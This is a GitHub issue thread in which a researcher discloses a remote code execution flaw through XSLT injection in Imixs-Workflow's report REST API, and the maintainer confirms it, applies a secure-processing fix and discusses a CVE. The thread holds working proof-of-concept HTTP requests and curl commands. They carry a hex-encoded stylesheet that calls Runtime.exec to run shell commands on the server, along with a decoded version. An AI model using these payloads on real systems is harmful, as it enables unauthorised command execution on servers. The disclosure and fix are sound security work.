Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

The vulnerability in Imixs-Workflow is caused by RCE (Remote Code Execution) via XSLT. #852

Closed
c1gar opened this issue Mar 6, 2024 · 15 comments

Comments

@c1gar
Copy link

c1gar commented Mar 6, 2024

Vulnerability Cause: During XSLT transformation, the content of the XSL is controllable, and security parameters are not set.
Vulnerability Location:org.imixs.workflow.jaxrs.ReportRestService

Steps to reproduce the behavior:
1. Generate a specific report and inject malicious XSLT code into it.

PUT /api/report HTTP/1.1
Host: 192.168.1.13:8082
Cache-Control: max-age=0
Authorization: Basic YWRtaW46YWRtaW5hZG1pbg==
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Content-Type: application/xml
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
Content-Length: 3355

<document>
	<item name='xsl'>
 <value xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
	          xmlns:xs="http://www.w3.org/2001/XMLSchema" xsi:type="xs:string">&#x3c;&#x78;&#x73;&#x6c;&#x3a;&#x73;&#x74;&#x79;&#x6c;&#x65;&#x73;&#x68;&#x65;&#x65;&#x74;&#x20;&#x76;&#x65;&#x72;&#x73;&#x69;&#x6f;&#x6e;&#x3d;&#x22;&#x31;&#x2e;&#x30;&#x22;&#x20;&#x78;&#x6d;&#x6c;&#x6e;&#x73;&#x3a;&#x78;&#x73;&#x6c;&#x3d;&#x22;&#x68;&#x74;&#x74;&#x70;&#x3a;&#x2f;&#x2f;&#x77;&#x77;&#x77;&#x2e;&#x77;&#x33;&#x2e;&#x6f;&#x72;&#x67;&#x2f;&#x31;&#x39;&#x39;&#x39;&#x2f;&#x58;&#x53;&#x4c;&#x2f;&#x54;&#x72;&#x61;&#x6e;&#x73;&#x66;&#x6f;&#x72;&#x6d;&#x22;&#x20;&#x78;&#x6d;&#x6c;&#x6e;&#x73;&#x3a;&#x72;&#x74;&#x3d;&#x22;&#x68;&#x74;&#x74;&#x70;&#x3a;&#x2f;&#x2f;&#x78;&#x6d;&#x6c;&#x2e;&#x61;&#x70;&#x61;&#x63;&#x68;&#x65;&#x2e;&#x6f;&#x72;&#x67;&#x2f;&#x78;&#x61;&#x6c;&#x61;&#x6e;&#x2f;&#x6a;&#x61;&#x76;&#x61;&#x2f;&#x6a;&#x61;&#x76;&#x61;&#x2e;&#x6c;&#x61;&#x6e;&#x67;&#x2e;&#x52;&#x75;&#x6e;&#x74;&#x69;&#x6d;&#x65;&#x22;&#x20;&#x78;&#x6d;&#x6c;&#x6e;&#x73;&#x3a;&#x6f;&#x62;&#x3d;&#x22;&#x68;&#x74;&#x74;&#x70;&#x3a;&#x2f;&#x2f;&#x78;&#x6d;&#x6c;&#x2e;&#x61;&#x70;&#x61;&#x63;&#x68;&#x65;&#x2e;&#x6f;&#x72;&#x67;&#x2f;&#x78;&#x61;&#x6c;&#x61;&#x6e;&#x2f;&#x6a;&#x61;&#x76;&#x61;&#x2f;&#x6a;&#x61;&#x76;&#x61;&#x2e;&#x6c;&#x61;&#x6e;&#x67;&#x2e;&#x4f;&#x62;&#x6a;&#x65;&#x63;&#x74;&#x22;&#x3e;&#x3c;&#x78;&#x73;&#x6c;&#x3a;&#x74;&#x65;&#x6d;&#x70;&#x6c;&#x61;&#x74;&#x65;&#x20;&#x6d;&#x61;&#x74;&#x63;&#x68;&#x3d;&#x22;&#x2f;&#x22;&#x3e;&#x3c;&#x78;&#x73;&#x6c;&#x3a;&#x76;&#x61;&#x72;&#x69;&#x61;&#x62;&#x6c;&#x65;&#x20;&#x6e;&#x61;&#x6d;&#x65;&#x3d;&#x22;&#x72;&#x74;&#x6f;&#x62;&#x6a;&#x65;&#x63;&#x74;&#x22;&#x20;&#x73;&#x65;&#x6c;&#x65;&#x63;&#x74;&#x3d;&#x22;&#x72;&#x74;&#x3a;&#x67;&#x65;&#x74;&#x52;&#x75;&#x6e;&#x74;&#x69;&#x6d;&#x65;&#x28;&#x29;&#x22;&#x2f;&#x3e;&#x3c;&#x78;&#x73;&#x6c;&#x3a;&#x76;&#x61;&#x72;&#x69;&#x61;&#x62;&#x6c;&#x65;&#x20;&#x6e;&#x61;&#x6d;&#x65;&#x3d;&#x22;&#x70;&#x72;&#x6f;&#x63;&#x65;&#x73;&#x73;&#x22;&#x20;&#x73;&#x65;&#x6c;&#x65;&#x63;&#x74;&#x3d;&#x22;&#x72;&#x74;&#x3a;&#x65;&#x78;&#x65;&#x63;&#x28;&#x24;&#x72;&#x74;&#x6f;&#x62;&#x6a;&#x65;&#x63;&#x74;&#x2c;&#x27;&#x74;&#x6f;&#x75;&#x63;&#x68;&#x20;&#x2f;&#x6f;&#x70;&#x74;&#x2f;&#x6a;&#x62;&#x6f;&#x73;&#x73;&#x2f;&#x77;&#x69;&#x6c;&#x64;&#x66;&#x6c;&#x79;&#x2f;&#x61;&#x5f;&#x73;&#x75;&#x63;&#x63;&#x2f;&#x63;&#x69;&#x61;&#x67;&#x72;&#x5f;&#x73;&#x75;&#x63;&#x63;&#x27;&#x29;&#x22;&#x2f;&#x3e;&#x3c;&#x78;&#x73;&#x6c;&#x3a;&#x76;&#x61;&#x72;&#x69;&#x61;&#x62;&#x6c;&#x65;&#x20;&#x6e;&#x61;&#x6d;&#x65;&#x3d;&#x22;&#x70;&#x72;&#x6f;&#x63;&#x65;&#x73;&#x73;&#x53;&#x74;&#x72;&#x69;&#x6e;&#x67;&#x22;&#x20;&#x73;&#x65;&#x6c;&#x65;&#x63;&#x74;&#x3d;&#x22;&#x6f;&#x62;&#x3a;&#x74;&#x6f;&#x53;&#x74;&#x72;&#x69;&#x6e;&#x67;&#x28;&#x24;&#x70;&#x72;&#x6f;&#x63;&#x65;&#x73;&#x73;&#x29;&#x22;&#x2f;&#x3e;&#x3c;&#x78;&#x73;&#x6c;&#x3a;&#x76;&#x61;&#x6c;&#x75;&#x65;&#x2d;&#x6f;&#x66;&#x20;&#x73;&#x65;&#x6c;&#x65;&#x63;&#x74;&#x3d;&#x22;&#x24;&#x70;&#x72;&#x6f;&#x63;&#x65;&#x73;&#x73;&#x53;&#x74;&#x72;&#x69;&#x6e;&#x67;&#x22;&#x2f;&#x3e;&#x3c;&#x2f;&#x78;&#x73;&#x6c;&#x3a;&#x74;&#x65;&#x6d;&#x70;&#x6c;&#x61;&#x74;&#x65;&#x3e;&#x3c;&#x2f;&#x78;&#x73;&#x6c;&#x3a;&#x73;&#x74;&#x79;&#x6c;&#x65;&#x73;&#x68;&#x65;&#x65;&#x74;&#x3e;
	         </value>
				</item>
</document>

2. Output the XSL result of the report.

GET /api/report/f1785351-022e-463e-a6bb-85bed2bd2d87.imixs-report HTTP/1.1
Host: 192.168.1.13:8082
Cache-Control: max-age=0
Authorization: Basic YWRtaW46YWRtaW5hZG1pbg==
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close

Screenshot of the result
1
2

3

@rsoika rsoika added the patch label Mar 6, 2024
@c1gar
Copy link
Author

c1gar commented Mar 8, 2024

@rsoika If you confirm this vulnerability, can you assign a CVE for me? Assigning a CVE is an encouragement for my exploration of the risks in the Imixs project.

@rsoika
Copy link
Member

rsoika commented Mar 8, 2024

Related to: CVE-2017-7465

@rsoika
Copy link
Member

rsoika commented Mar 8, 2024

Hi @c1gar , thanks for the finding. I'm not yet fully aware of how serious this vulnerability affects the Imixs Workflow engine.

Imixs-Workflow itself does not include any XSLT Processor library. The XSLT implementation is always provided form the environment the engine runs in (the Jakarta EE Server environment).

So my question is: Which Jakarta EE App Server did you use? And also which version of Imixs-Worklfow - or sub project - did you use to reproduce the issue?

@c1gar
Copy link
Author

c1gar commented Mar 10, 2024

Hello @rsoika , I launched an instance of imixs-process-manager using the following docker-compose.yml file

version: "3.6"
services:

  imixs-db:
    image: postgres:13
    environment:
      POSTGRES_PASSWORD: adminadmin
      POSTGRES_DB: workflow-db
    volumes:
      - dbdata:/var/lib/postgresql/data

  imixs-app:
    image: imixs/imixs-process-manager:latest
    environment:
      TZ: "CET"
      LANG: "en_US.UTF-8"
      JAVA_OPTS: "-agentlib:jdwp=transport=dt_socket,server=y,suspend=n,address=*:5005 -Dnashorn.args=--no-deprecation-warning"
      POSTGRES_USER: "postgres"
      POSTGRES_PASSWORD: "adminadmin"
      POSTGRES_CONNECTION: "jdbc:postgresql://imixs-db/workflow-db"
    ports:
      - "8082:8080"
      - "8787:8787"
      - "9990:9990"
      - "5005:5005"
volumes:
  dbdata:

In this container, the version of imixs-workflow is 6.0.3, and the version of Java EE is OpenJDK 11.0.17
image

The project documentation for imixs-workflow (https://www.imixs.org/doc/restapi/reportservice.html) has already introduced that the api /report can create or update a specific report, and the api /report/{name}.imixs-report can perform xsl transform.

I can carry out arbitrary code injection attacks through these two apis, which can execute arbitrary system commands on servers that have deployed imixs-workflow and exposed the api '/report' to the outside . This is a very serious vulnerability.

I have already reproduced this issue and provided detailed steps for reproduction: #852 (comment) .

The imixs-workflow does not indeed include XSL implementation, but the cause of this vulnerability is that imixs-workflow does not consider security when using the XSL implementation which in Java EE. Simply put, the following code is needed to avoid vulnerabilities:

transformerFactory.setFeature(XMLConstants.FEATURE_SECURE_PROCESSING, true);

@rsoika
Copy link
Member

rsoika commented Mar 10, 2024

@c1gar thanks again for your finding and the clearification.

We will fix this now in different places within the Imixs-Workflow engine by setting the feature FEATURE_SECURE_PROCESSING explicit to true

As you already mentioned this will set limits on XML constructs to avoid conditions such as denial of service attacks.

Example code:

        TransformerFactory transformerFactory = TransformerFactory.newInstance();
        // Set secure process - see #852
        transformerFactory.setFeature(XMLConstants.FEATURE_SECURE_PROCESSING, true);
        Transformer transformer = transformerFactory.newTransformer(.....);

rsoika added a commit that referenced this issue Mar 10, 2024
Issue #852
@c1gar
Copy link
Author

c1gar commented Mar 10, 2024

@rsoika Can you assign a CVE number to this issue?

@rsoika
Copy link
Member

rsoika commented Mar 10, 2024

@c1gar I do not really know how to do - you mean on mitre.org ?

I have now implemented a fix and I also pushed a new Docker Image to docker hub

imixs/imixs-process-manager:latest

So maybe you can do a test of the new impl ? This would be great.

@rsoika
Copy link
Member

rsoika commented Mar 10, 2024

@c1gar I am still not able to reproduce the issue (maybe I am not the professional hacker ;-)

This is how I am trying to reproduce the issue:

1) Start an Instance of Imixs-Process Manger

I am using the following docker-compose.yaml:

version: "3.6"
services:

  imixs-db:
    image: postgres:9.6.1
    environment:
      POSTGRES_PASSWORD: adminadmin
      POSTGRES_DB: workflow-db
    volumes: 
      - dbdata:/var/lib/postgresql/data
  
  imixs-app:
    image: imixs/imixs-process-manager:2.0.1
    environment:
      TZ: "CET" 
      LANG: "en_US.UTF-8"  
      JAVA_OPTS: "-Dnashorn.args=--no-deprecation-warning"
      POSTGRES_USER: "postgres"
      POSTGRES_PASSWORD: "adminadmin"
      POSTGRES_CONNECTION: "jdbc:postgresql://imixs-db/workflow-db"
    ports:
      - "8080:8080"
      - "8787:8787"
      - "9990:9990"      
volumes:
  dbdata: 

2) Test Rest API

Just to test the rest api with a simple curl command:

$ curl --user admin:adminadmin http://localhost:8080/api/report/definitions

should return an empty list

3) Post a insecure Report Definition with a XSL Template

The XSLT I am using for test is:

<xml:stylesheet version="1.0" 
   xmlns:xsl="http://www.w3.org/1999/XSL/Transform" 
   xmlns:rt="http://xsl.apachе.org/xalan/java/javax.xml.transform" 
   xmlns:ob="http://xsl.apachе.org/xalan/java/org.apache.xalan.lib.Redirect" 
   xmlns:xs="http://www.w3.org/2001/XMLSchema" 
   xmlns:ciagrr="http://xsl.apachе.org/xalan/java/javax.xml.transform" 
   xmlns:ob="http://xsl.apachе.org/xalan/java/org.apache.xalan.lib.Object" 
   getRuntime="true" 
   ob="http://xsl.apachе.org/xalan/java/org.apache.xalan.lib.Object">
    <xsl:template match="/" select="rt:getRuntime()"/>
    <xsl:variable name="rtobj" select="rt:exec($rtobj,'touch /opt/jboss/wildfly/insecure-code')"/>
    <xsl:variable name="processString" select="ob:toString($processString)"/>
    <xsl:value-of select="$processString"/>
</xml:stylesheet>

This simply makes a touch on the file /opt/jboss/wildfly/insecure-code

I post the report definition with the following curl command:

$ curl -v --user admin:adminadmin -H "Content-Type: application/xml" -H 'Accept: application/xml' -d  \
   '<document xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xs="http://www.w3.org/2001/XMLSchema">
	
        <item name="txtname"><value xsi:type="xs:string">insecure-report</value></item>
	<item name="xsl">
 <value xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
	          xmlns:xs="http://www.w3.org/2001/XMLSchema" xsi:type="xs:string">&#x3c;&#x78;&#x6d;&#x6c;&#x3a;&#x73;&#x74;&#x79;&#x6c;&#x65;&#x73;&#x68;&#x65;&#x65;&#x74;&#x20;&#x76;&#x65;&#x72;&#x73;&#x69;&#x6f;&#x6e;&#x3d;&#x22;&#x31;&#x2e;&#x30;&#x22;&#x20;&#x78;&#x6d;&#x6c;&#x6e;&#x73;&#x3a;&#x78;&#x73;&#x6c;&#x3d;&#x22;&#x68;&#x74;&#x74;&#x70;&#x3a;&#x2f;&#x2f;&#x77;&#x77;&#x77;&#x2e;&#x77;&#x33;&#x2e;&#x6f;&#x72;&#x67;&#x2f;&#x31;&#x39;&#x39;&#x39;&#x2f;&#x58;&#x53;&#x4c;&#x2f;&#x54;&#x72;&#x61;&#x6e;&#x73;&#x66;&#x6f;&#x72;&#x6d;&#x22;&#x20;&#x78;&#x6d;&#x6c;&#x6e;&#x73;&#x3a;&#x72;&#x74;&#x3d;&#x22;&#x68;&#x74;&#x74;&#x70;&#x3a;&#x2f;&#x2f;&#x78;&#x6d;&#x6c;&#x2e;&#x61;&#x70;&#x61;&#x63;&#x68;&#x65;&#x2e;&#x6f;&#x72;&#x67;&#x2f;&#x78;&#x61;&#x6c;&#x61;&#x6e;&#x2f;&#x6a;&#x61;&#x76;&#x61;&#x2f;&#x6a;&#x61;&#x76;&#x61;&#x2e;&#x6c;&#x61;&#x6e;&#x67;&#x2e;&#x52;&#x75;&#x6e;&#x74;&#x69;&#x6d;&#x65;&#x22;&#x20;&#x78;&#x6d;&#x6c;&#x6e;&#x73;&#x3a;&#x6f;&#x62;&#x3d;&#x22;&#x68;&#x74;&#x74;&#x70;&#x3a;&#x2f;&#x2f;&#x78;&#x6d;&#x6c;&#x2e;&#x61;&#x70;&#x61;&#x63;&#x68;&#x65;&#x2e;&#x6f;&#x72;&#x67;&#x2f;&#x78;&#x61;&#x6c;&#x61;&#x6e;&#x2f;&#x6a;&#x61;&#x76;&#x61;&#x2f;&#x6a;&#x61;&#x76;&#x61;&#x2e;&#x6c;&#x61;&#x6e;&#x67;&#x2e;&#x4f;&#x62;&#x6a;&#x65;&#x63;&#x74;&#x22;&#x3e;&#x3c;&#x78;&#x6d;&#x6c;&#x3a;&#x74;&#x65;&#x6d;&#x70;&#x6c;&#x61;&#x74;&#x65;&#x20;&#x6d;&#x61;&#x74;&#x63;&#x68;&#x3d;&#x22;&#x2f;&#x22;&#x3e;&#x3c;&#x78;&#x6d;&#x6c;&#x3a;&#x76;&#x61;&#x72;&#x69;&#x61;&#x62;&#x6c;&#x65;&#x20;&#x6e;&#x61;&#x6d;&#x65;&#x3d;&#x22;&#x72;&#x74;&#x6f;&#x62;&#x6a;&#x65;&#x63;&#x74;&#x22;&#x20;&#x73;&#x65;&#x6c;&#x65;&#x63;&#x74;&#x3d;&#x22;&#x72;&#x74;&#x3a;&#x67;&#x65;&#x74;&#x52;&#x75;&#x6e;&#x74;&#x69;&#x6d;&#x65;&#x28;&#x29;&#x22;&#x2f;&#x3e;&#x3c;&#x78;&#x6d;&#x6c;&#x3a;&#x76;&#x61;&#x72;&#x69;&#x61;&#x62;&#x6c;&#x65;&#x20;&#x6e;&#x61;&#x6d;&#x65;&#x3d;&#x22;&#x70;&#x72;&#x6f;&#x63;&#x65;&#x73;&#x73;&#x22;&#x20;&#x73;&#x65;&#x6c;&#x65;&#x63;&#x74;&#x3d;&#x22;&#x72;&#x74;&#x3a;&#x65;&#x78;&#x65;&#x63;&#x28;&#x24;&#x72;&#x74;&#x6f;&#x62;&#x6a;&#x65;&#x63;&#x74;&#x2c;&#x27;&#x74;&#x6f;&#x75;&#x63;&#x68;&#x20;&#x2f;&#x6f;&#x70;&#x74;&#x2f;&#x6a;&#x62;&#x6f;&#x73;&#x73;&#x2f;&#x77;&#x69;&#x6c;&#x64;&#x66;&#x6c;&#x79;&#x2f;&#x69;&#x6e;&#x73;&#x65;&#x63;&#x75;&#x72;&#x65;&#x2d;&#x63;&#x6f;&#x64;&#x65;&#x27;&#x29;&#x22;&#x2f;&#x3e;&#x3c;&#x78;&#x6d;&#x6c;&#x3a;&#x76;&#x61;&#x6c;&#x75;&#x65;&#x2d;&#x6f;&#x66;&#x20;&#x73;&#x65;&#x6c;&#x65;&#x63;&#x74;&#x3d;&#x22;&#x24;&#x70;&#x72;&#x6f;&#x63;&#x65;&#x73;&#x73;&#x22;&#x2f;&#x3e;&#x3c;&#x2f;&#x78;&#x6d;&#x6c;&#x3a;&#x74;&#x65;&#x6d;&#x70;&#x6c;&#x61;&#x74;&#x65;&#x3e;&#x3c;&#x2f;&#x78;&#x6d;&#x6c;&#x3a;&#x73;&#x74;&#x79;&#x6c;&#x65;&#x73;&#x68;&#x65;&#x65;&#x74;&#x3e;
	         </value>
				</item>
</document>' \
  http://localhost:8080/api/report

As a result we have a report definition named insecure-report

4) Execute the insecure report

Finally we want to execute the insecure report with

$ curl -v --user admin:adminadmin http://localhost:8080/api/report/insecure-report.imixs-report

But nothing seems to happen. No file is touched.

@c1gar
Copy link
Author

c1gar commented Mar 11, 2024

@rsoika There are some errors in your xsl file. You can use the following xsl file for testing:

<xsl:stylesheet version="1.0" 
xmlns:xsl="http://www.w3.org/1999/XSL/Transform" 
xmlns:rt="http://xml.apache.org/xalan/java/java.lang.Runtime" 
xmlns:ob="http://xml.apache.org/xalan/java/java.lang.Object">
    <xsl:template match="/">
        <xsl:variable name="rtobject" select="rt:getRuntime()"/>
        <xsl:variable name="process" select="rt:exec($rtobject,'touch /tmp/success')"/>
        <xsl:variable name="processString" select="ob:toString($process)"/>
        <xsl:value-of select="$processString"/>
    </xsl:template>
</xsl:stylesheet>

The following is the process of reproduce using the curl command:

curl -v --user admin:adminadmin -H "Content-Type: application/xml" -d \
'<document>
	<item name="xsl">
 		<value xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" 
	xmlns:xs="http://www.w3.org/2001/XMLSchema" 
	xsi:type="xs:string">
&#x3c;&#x78;&#x73;&#x6c;&#x3a;&#x73;&#x74;&#x79;&#x6c;&#x65;&#x73;&#x68;&#x65;&#x65;&#x74;&#x20;&#x76;&#x65;&#x72;&#x73;&#x69;&#x6f;&#x6e;&#x3d;&#x22;&#x31;&#x2e;&#x30;&#x22;&#x20;&#x0a;&#x78;&#x6d;&#x6c;&#x6e;&#x73;&#x3a;&#x78;&#x73;&#x6c;&#x3d;&#x22;&#x68;&#x74;&#x74;&#x70;&#x3a;&#x2f;&#x2f;&#x77;&#x77;&#x77;&#x2e;&#x77;&#x33;&#x2e;&#x6f;&#x72;&#x67;&#x2f;&#x31;&#x39;&#x39;&#x39;&#x2f;&#x58;&#x53;&#x4c;&#x2f;&#x54;&#x72;&#x61;&#x6e;&#x73;&#x66;&#x6f;&#x72;&#x6d;&#x22;&#x20;&#x0a;&#x78;&#x6d;&#x6c;&#x6e;&#x73;&#x3a;&#x72;&#x74;&#x3d;&#x22;&#x68;&#x74;&#x74;&#x70;&#x3a;&#x2f;&#x2f;&#x78;&#x6d;&#x6c;&#x2e;&#x61;&#x70;&#x61;&#x63;&#x68;&#x65;&#x2e;&#x6f;&#x72;&#x67;&#x2f;&#x78;&#x61;&#x6c;&#x61;&#x6e;&#x2f;&#x6a;&#x61;&#x76;&#x61;&#x2f;&#x6a;&#x61;&#x76;&#x61;&#x2e;&#x6c;&#x61;&#x6e;&#x67;&#x2e;&#x52;&#x75;&#x6e;&#x74;&#x69;&#x6d;&#x65;&#x22;&#x20;&#x0a;&#x78;&#x6d;&#x6c;&#x6e;&#x73;&#x3a;&#x6f;&#x62;&#x3d;&#x22;&#x68;&#x74;&#x74;&#x70;&#x3a;&#x2f;&#x2f;&#x78;&#x6d;&#x6c;&#x2e;&#x61;&#x70;&#x61;&#x63;&#x68;&#x65;&#x2e;&#x6f;&#x72;&#x67;&#x2f;&#x78;&#x61;&#x6c;&#x61;&#x6e;&#x2f;&#x6a;&#x61;&#x76;&#x61;&#x2f;&#x6a;&#x61;&#x76;&#x61;&#x2e;&#x6c;&#x61;&#x6e;&#x67;&#x2e;&#x4f;&#x62;&#x6a;&#x65;&#x63;&#x74;&#x22;&#x3e;&#x0a;&#x20;&#x20;&#x20;&#x20;&#x3c;&#x78;&#x73;&#x6c;&#x3a;&#x74;&#x65;&#x6d;&#x70;&#x6c;&#x61;&#x74;&#x65;&#x20;&#x6d;&#x61;&#x74;&#x63;&#x68;&#x3d;&#x22;&#x2f;&#x22;&#x3e;&#x0a;&#x20;&#x20;&#x20;&#x20;&#x20;&#x20;&#x20;&#x20;&#x3c;&#x78;&#x73;&#x6c;&#x3a;&#x76;&#x61;&#x72;&#x69;&#x61;&#x62;&#x6c;&#x65;&#x20;&#x6e;&#x61;&#x6d;&#x65;&#x3d;&#x22;&#x72;&#x74;&#x6f;&#x62;&#x6a;&#x65;&#x63;&#x74;&#x22;&#x20;&#x73;&#x65;&#x6c;&#x65;&#x63;&#x74;&#x3d;&#x22;&#x72;&#x74;&#x3a;&#x67;&#x65;&#x74;&#x52;&#x75;&#x6e;&#x74;&#x69;&#x6d;&#x65;&#x28;&#x29;&#x22;&#x2f;&#x3e;&#x0a;&#x20;&#x20;&#x20;&#x20;&#x20;&#x20;&#x20;&#x20;&#x3c;&#x78;&#x73;&#x6c;&#x3a;&#x76;&#x61;&#x72;&#x69;&#x61;&#x62;&#x6c;&#x65;&#x20;&#x6e;&#x61;&#x6d;&#x65;&#x3d;&#x22;&#x70;&#x72;&#x6f;&#x63;&#x65;&#x73;&#x73;&#x22;&#x20;&#x73;&#x65;&#x6c;&#x65;&#x63;&#x74;&#x3d;&#x22;&#x72;&#x74;&#x3a;&#x65;&#x78;&#x65;&#x63;&#x28;&#x24;&#x72;&#x74;&#x6f;&#x62;&#x6a;&#x65;&#x63;&#x74;&#x2c;&#x27;&#x74;&#x6f;&#x75;&#x63;&#x68;&#x20;&#x2f;&#x74;&#x6d;&#x70;&#x2f;&#x73;&#x75;&#x63;&#x63;&#x65;&#x73;&#x73;&#x27;&#x29;&#x22;&#x2f;&#x3e;&#x0a;&#x20;&#x20;&#x20;&#x20;&#x20;&#x20;&#x20;&#x20;&#x3c;&#x78;&#x73;&#x6c;&#x3a;&#x76;&#x61;&#x72;&#x69;&#x61;&#x62;&#x6c;&#x65;&#x20;&#x6e;&#x61;&#x6d;&#x65;&#x3d;&#x22;&#x70;&#x72;&#x6f;&#x63;&#x65;&#x73;&#x73;&#x53;&#x74;&#x72;&#x69;&#x6e;&#x67;&#x22;&#x20;&#x73;&#x65;&#x6c;&#x65;&#x63;&#x74;&#x3d;&#x22;&#x6f;&#x62;&#x3a;&#x74;&#x6f;&#x53;&#x74;&#x72;&#x69;&#x6e;&#x67;&#x28;&#x24;&#x70;&#x72;&#x6f;&#x63;&#x65;&#x73;&#x73;&#x29;&#x22;&#x2f;&#x3e;&#x0a;&#x20;&#x20;&#x20;&#x20;&#x20;&#x20;&#x20;&#x20;&#x3c;&#x78;&#x73;&#x6c;&#x3a;&#x76;&#x61;&#x6c;&#x75;&#x65;&#x2d;&#x6f;&#x66;&#x20;&#x73;&#x65;&#x6c;&#x65;&#x63;&#x74;&#x3d;&#x22;&#x24;&#x70;&#x72;&#x6f;&#x63;&#x65;&#x73;&#x73;&#x53;&#x74;&#x72;&#x69;&#x6e;&#x67;&#x22;&#x2f;&#x3e;&#x0a;&#x20;&#x20;&#x20;&#x20;&#x3c;&#x2f;&#x78;&#x73;&#x6c;&#x3a;&#x74;&#x65;&#x6d;&#x70;&#x6c;&#x61;&#x74;&#x65;&#x3e;&#x0a;&#x3c;&#x2f;&#x78;&#x73;&#x6c;&#x3a;&#x73;&#x74;&#x79;&#x6c;&#x65;&#x73;&#x68;&#x65;&#x65;&#x74;&#x3e;
		</value>
	</item>
</document>' \
http://localhost:8080/api/report

The generated report is as follows

image-20240311103913569
curl --user admin:adminadmin http://localhost:8080/api/report/definitions
curl -v --user admin:adminadmin http://localhost:8080/api/report/f1785351-022e-463e-a6bb-85bed2bd2d87.imixs-report

The file /tmp/success will be created

@rsoika
Copy link
Member

rsoika commented Mar 11, 2024

Ah OK, now I was able to reproduce.
With the latest version the issue is fixed. Now we get the expected TransformerException :

ERROR:  'Use of the extension function 'http://xml.apache.org/xalan/java/java.lang.Runtime:getRuntime' is not allowed when the secure processing feature is set to true.'
javax.xml.transform.TransformerException: java.lang.RuntimeException: Use of the extension function 'http://xml.apache.org/xalan/java/java.lang.Runtime:getRuntime' is not allowed when the secure processing feature is set to true.

@rsoika
Copy link
Member

rsoika commented Mar 12, 2024

Hi @c1gar , I would now close this issue, it is fixed with version 6.0.5. Do you want to report the vulnerability issue somewhere else?

@c1gar
Copy link
Author

c1gar commented Mar 13, 2024

@rsoika Yes, I am currently applying for a CVE number for this vulnerability. If possible, I would appreciate it if you could wait to close it until after the application is either approved or denied, as I have provided the page as a reference link to the official authorities.

@rsoika
Copy link
Member

rsoika commented Mar 27, 2024

We need to close this issue as we prepare the next release now.

@rsoika rsoika closed this as completed Mar 27, 2024
@c1gar
Copy link
Author

c1gar commented Apr 29, 2024

@rsoika I have applied for a CVE number for this. Would you mind disclosing it? The CVE number is CVE-2024-29335

@rsoika
Copy link
Member

rsoika commented Apr 29, 2024

Hi @c1gar , where do I find this?

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Projects
None yet
Development

No branches or pull requests

2 participants